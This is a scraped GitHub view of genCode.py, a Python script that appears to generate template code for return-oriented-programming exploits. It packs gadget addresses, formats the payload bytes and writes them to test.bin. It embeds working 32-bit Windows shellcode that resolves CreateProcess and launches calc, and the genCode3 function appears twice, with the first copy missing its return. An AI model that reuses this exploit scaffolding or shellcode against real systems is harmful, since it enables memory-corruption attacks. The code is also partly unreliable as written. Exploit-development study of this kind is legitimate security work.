-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathgenCode.py
123 lines (96 loc) · 2.34 KB
/
genCode.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
def hx(val, length=8):
hex_str = format(val, 'x').zfill(length)
return hex_str
def genCode1_64():
chunk="""import struct
def rq(val):
rq = struct.pack("<Q", val)
return rq
def binaryToStr(binary):
new = ""
for v in binary:
new += "\\\\x"+"{0:02x}".format(v)
return new
def genChQ(gList):
ch=b""
for g in gList:
ch+=rq(g)
return ch
"""
return chunk
def genCode1():
chunk="""import struct
def rg(val):
rg=struct.pack("<I", val)
return rg
def binaryToStr(binary):
new = ""
for v in binary:
new += "\\\\x"+"{0:02x}".format(v)
return new
def genCh(gList):
ch=b""
for g in gList:
ch+=rg(g)
return ch
"""
return chunk
def genCode2(showAll):
if showAll:
chunk="""
ch=genCh(gList)
filler=b"\\x41"
"""
if not showAll:
chunk="""
ch=genCh(gList)
"""
return chunk
def genCalcShellcode():
chunk="""
calc_shellcode = ( b"\\x31\\xdb\\x64\\x8b\\x7b\\x30\\x8b\\x7f\\x0c\\x8b\\x7f\\x1c\\x8b\\x47\\x08\\x8b"
b"\\x77\\x20\\x8b\\x3f\\x80\\x7e\\x0c\\x33\\x75\\xf2\\x89\\xc7\\x03\\x78\\x3c\\x8b"
b"\\x57\\x78\\x01\\xc2\\x8b\\x7a\\x20\\x01\\xc7\\x89\\xdd\\x8b\\x34\\xaf\\x01\\xc6"
b"\\x45\\x81\\x3e\\x43\\x72\\x65\\x61\\x75\\xf2\\x81\\x7e\\x08\\x6f\\x63\\x65\\x73"
b"\\x75\\xe9\\x8b\\x7a\\x24\\x01\\xc7\\x66\\x8b\\x2c\\x6f\\x8b\\x7a\\x1c\\x01\\xc7"
b"\\x8b\\x7c\\xaf\\xfc\\x01\\xc7\\x89\\xd9\\xb1\\xff\\x53\\xe2\\xfd\\x68\\x63\\x61"
b"\\x6c\\x63\\x89\\xe2\\x52\\x52\\x53\\x53\\x53\\x53\\x53\\x53\\x52\\x53\\xff\\xd7")
# Can use SHAREM to reverse engineer the Shellcode.
# https://github.com/Bw3ll/sharem
"""
return chunk
def genCode2_64(showAll):
chunk="""
ch=genChQ(gListQ)
"""
return chunk
def genCode3(showAll):
if showAll:
chunk="""
payload+= params
print ("Generating payload...\\n")
print (binaryToStr(payload))
print (len(payload), "bytes")
"""
def genCode3(showAll):
if showAll:
chunk="""
payload+= params
print ("Generating payload...\\n")
print (binaryToStr(payload))
print (len(payload), "bytes")
"""
if not showAll:
chunk="""
print ("Generating payload...\\n")
print (binaryToStr(payload))
print (len(payload), "bytes")
"""
return chunk
def genClose():
chunk="""
evil = open("test.bin", "wb")
evil.write(payload)
evil.close()
"""
return chunk